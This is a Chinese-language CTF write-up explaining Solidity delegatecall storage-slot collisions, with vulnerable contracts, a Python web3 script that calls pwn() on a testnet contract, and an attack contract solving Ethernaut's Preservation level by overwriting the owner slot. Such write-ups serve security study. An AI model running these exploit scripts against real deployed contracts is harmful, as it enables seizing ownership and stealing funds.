Delegatecall(1) wiki原理
示例 delegate.delegatecall(msg.data)
这一行msg.data用户可控所以如果给msg.data传入pwn()
的函数签名即可调用到Delegate覆盖owner。所以攻击就很简单了调用Delegation合约一个不存在的函数即可触发回调函数,从而利用delegatecall覆盖owner。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.4 .18 ; contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate ; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function () public { if (delegate .delegatecall(msg.data)) { this ; } } }
攻击 攻击脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import solcx from eth_abi import abi, encode_abi from eth_utils import keccak from Crypto.Util.number import bytes_to_long from web3 import Web3,HTTPProvider from hexbytes import * abi = '''[ { "inputs": [ { "name": "_delegateAddress", "type": "address" } ], "payable": false, "stateMutability": "nonpayable", "type": "constructor" }, { "payable": false, "stateMutability": "nonpayable", "type": "fallback" }, { "constant": true, "inputs": [], "name": "owner", "outputs": [ { "name": "", "type": "address" } ], "payable": false, "stateMutability": "view", "type": "function" } ]''' bytecode = '''60806040523480 15610010576000 80fd5b50604051602080 6102 1b83398101806040 52810190808051 90602001909291 90505050806001 6000610100 0a81548173 ffffffffffffffffffffffffffffffffffffffff021916908373 ffffffffffffffffffffffffffffffffffffffff16021790555033 600080610100 0a81548173 ffffffffffffffffffffffffffffffffffffffff021916908373 ffffffffffffffffffffffffffffffffffffffff16021790555050 610157806100 c4600039600 0f30060806040526 00436106100415 76000357 c01000000000000 00000000000000 00000000000000 00000000000000 00900463 ffffffff168063 8da5cb5b146100 af575b3480156100 4d57600080 fd5b50600160009054 90610100 0a900473 ffffffffffffffffffffffffffffffffffffffff1673 ffffffffffffffffffffffffffffffffffffffff16600036604051 80838380828437 82019150509250 50506000604051 8083038185 5af491505050005 b3480156100 bb57600080 fd5b506100 c4610106565 b604051808273 ffffffffffffffffffffffffffffffffffffffff1673 ffffffffffffffffffffffffffffffffffffffff16815260200191 50506040518091 0390 f35b60008090549061 0100 0a900473 ffffffffffffffffffffffffffffffffffffffff16815600 a165627 a7a7230582046 ec482585 7dbe8a086f8c9ca7c4f1505 7c719170 7ed100c6c5eee654d786ccd0029 ''' account_from = { 'private_key': 'xxxxxxxx', 'address': '0x9064 1D6c069182 9Dd70C39EE10EA44B26ac8C5AE', } def SendTxn(txn,private_key): signed_txn = web3.eth.account.signTransaction(txn, private_key=private_key) # print(signed_txn) res = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = web3.eth.waitForTransactionReceipt(res) # print(res) return txn_receipt contract_address = Web3.toChecksumAddress("0x6d4e52Df316825C6d5d0AE6c651500C5284DDBFC" ) rpc = "https://ropsten.infura.io/v3/4f2d58fd34914336830121c8c562a2bf" web3 = Web3(HTTPProvider(rpc)) acc1 = web3.eth.account.from_key(account_from['private_key']) print(f'Attempting to deploy from account: { account_from["address"] }')# 4. Create contract instance Incrementer = web3.eth.contract(abi=abi, bytecode=bytecode) params = { 'nonce': web3.eth.getTransactionCount(acc1.address), 'value': web3.toWei(0 ,'ether'), 'gas': 3000000 , 'gasPrice': web3.eth.gasPrice, 'from': acc1.address, 'to':contract_address, 'data': HexBytes(web3.sha3(text='pwn()')).hex()[0 :10 ] } tx_receipt = SendTxn(params,account_from['private_key']) print(f'Contract deployed at address: {tx_receipt.contractAddress}')
查看结果
示例2 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0 .4 .23 ; contract A { address public c; address public b; function test() public returns (address a) { a = address(this); b = a; } } contract B { address public b; address public c; function withdelegatecall(address testaddress) public { testaddress.delegatecall(bytes4(keccak256("test()"))); } }
本地调试 利用外部账户调用withdelegatecall
,要调用delegatecall
时的栈数据
opcode说明如下,是会保持当前合约的执行上下文,意思就是如果后面修改了合约中的storage,比如修改了slot[0],那么最终改变的时B合约的b变量因为它正好时slot[0]位置而不是示A合约的c变量。
可以看到最终在要进行sstore
操作时,使用 Storage 变量时依据并不是变量名,而是变量的存储位。
wiki总结
sstore 即访存指令,可以看到写入的是 1 号存储位,1 号存储位 在 B 合约中即对应变量 c,在 A 合约中则对应变量 b,所以事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名,而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的。
ethernaut 第 16 题 合约源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 pragma solidity ^0.6 .0 ; contract Preservation { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)" )); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } function setFirstTime(uint _timeStamp ) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature , _timeStamp ) ); } function setSecondTime(uint _timeStamp ) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature , _timeStamp ) ); } } contract LibraryContract { uint storedTime; function setTime(uint _time ) public { storedTime = _time; } }
先调用一次setFirstTime
覆盖timeZone1Library为我们的攻击合约地址第二次调用setFirstTime
就可以执行攻击合约的任意函数了。
攻击合约没啥特别的,和wiki一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.6 .0 ;import "./source.sol" ; contract attack { address public timeZone1Library; address public timeZone2Library; address public owner; address instance_address = 0 xAc40c9C8dADE7B9CF37aEBb49Ab49485eBD3510d; Preservation target = Preservation(instance_address); function attack1() public { target.setFirstTime(uint (address(this ))); } function attack2() public { target.setFirstTime(uint (0 x5B38Da6a701c568545dCfcB03FcB875f56beddC4)); } function setTime(uint _time) public { timeZone1Library = address(_time); timeZone2Library = address(_time); owner = address(_time); } }
最后三个变量值都覆盖为一样的了